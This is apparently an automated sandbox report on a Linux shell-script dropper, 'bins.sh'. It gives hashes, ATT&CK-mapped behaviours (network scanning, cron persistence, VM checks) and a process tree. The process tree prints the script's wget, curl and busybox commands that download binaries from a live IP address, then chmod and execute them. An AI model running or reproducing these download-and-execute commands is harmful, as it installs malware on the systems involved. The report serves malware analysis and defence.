afe4132cbc6601d5c2b0803570e8cc989f2755fffca816071adcdb62fb72977e

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
07/11/2024, 12:32

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General

Target
bins.sh
Size 10KB
Sample241107-pql2cascra
SHA256 afe4132cbc6601d5c2b0803570e8cc989f2755fffca816071adcdb62fb72977e
MD5 3bfd5f19496482ac9419392d0b454991
SHA1 a032ccd90c864ee25c76e5b61f078b9b46359957
SHA512 79628562ede2f707fb2ef6c6efbcd78ae98fd7c90535603d23c8bbee6052408db8e86f4ec4b9f923606ca5fad9b6634ec8da7b4260141f5f5f2b5c4a800f77f4
SSDEEP 192:3IEhOmL4+ij+2bSeJCKD3oYkzAQlwnhpy0vIEhOmQ+ij+21SeJCKEYkzAQGn/:3IEhOmL4+ij+2/3oYkzAQlwnhpy0vIE0
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2152) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
685	chmod
712	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc	686	QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
/tmp/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui	713	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui

Renames itself 1 IoCs

pid	Process
714	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.QncYgY	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/798/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/805/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/9/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/925/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/1004/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/1008/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/796/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/810/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/736/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/875/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/916/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/942/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/20/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/792/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/26/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/783/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/801/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/919/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/13/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/888/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/965/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/947/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/968/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/994/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/1001/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/1003/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/1013/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/219/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/304/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/800/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/812/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/814/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/897/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/901/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/903/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/12/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/753/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/759/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/174/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/303/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/751/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/756/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/806/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/893/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/872/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/981/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/813/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/870/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/915/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/997/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/18/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/755/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/878/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/929/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/602/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/775/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/1005/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/1010/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/1017/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/1027/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/1028/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/772/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
File opened for reading	/proc/787/cmdline	hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc	curl
File opened for modification	/tmp/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc	busybox
File opened for modification	/tmp/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui	wget
File opened for modification	/tmp/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui	curl
File opened for modification	/tmp/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui	busybox
File opened for modification	/tmp/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:652
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:655
- /usr/bin/wget
  wget http://87.120.84.230/bins/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
  2⤵
  - Writes file to tmp directory
  PID:659
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:677
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
  2⤵
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod 777 QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /tmp/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
  ./QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
  2⤵
  - Executes dropped EXE
  PID:686
- /bin/rm
  rm QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
  2⤵
  PID:688
- /usr/bin/wget
  wget http://87.120.84.230/bins/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
  2⤵
  - Writes file to tmp directory
  PID:689
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:696
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
  2⤵
  - Writes file to tmp directory
  PID:707
- /bin/chmod
  chmod 777 hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
  2⤵
  - File and Directory Permissions Modification
  PID:712
- /tmp/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
  ./hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:713
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:715
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:717
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:719
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:720
- /bin/rm
  rm hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
  2⤵
  PID:734
- /usr/bin/wget
  wget http://87.120.84.230/bins/kDXEkCP18WqMNpOrefkHtCYWV6GmVJND6y
  2⤵
  PID:739

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc

Path /tmp/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
Size 98KB
SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
MD5 5141342d0df8699fa32a6b066a0c592e
SHA1 8157673225bd5182f16215e2aa823a25ca2d4fbc
SHA512 d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
SSDEEP 3072:lxvAwSaWFr5Ryrfb3jb9RxqgRfEma1b5wdL35sPX:32FrIT3/9jqgmma1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui

Path /tmp/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
Size 177KB
SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
MD5 786d75a158fe731feca3880f436082c0
SHA1 79ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA512 7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
SSDEEP 3072:PJtid2ng8w4YMrgUqqdaODUvI7UhTIyU2be6CXuVyZM/9h9XKvtZmmmLdwC7tuRD:BtiGGqaODUvI4hc2bvCXuVoM/9PXwPmK
MD5 SHA1 SHA512 SSDEEP

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tmp.QncYgY

Path /var/spool/cron/crontabs/tmp.QncYgY
Size 210B
SHA256 87f9bbcc30656a4ad6a5715ea493f11370111036dbe346a4f2b270f05ddb83ad
MD5 d83aea87e271113a609e43c8f6732c3f
SHA1 899eddbf3330c55f3ecdeececd4e78e5f017a754
SHA512 b174fa57ab6f65b42faa765904fec52c4ab897354043768bf187ff46d9a01a8306067a88a453b78efca5271db7f5bd2601db30275260b18bcd99a07256b34c6d
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads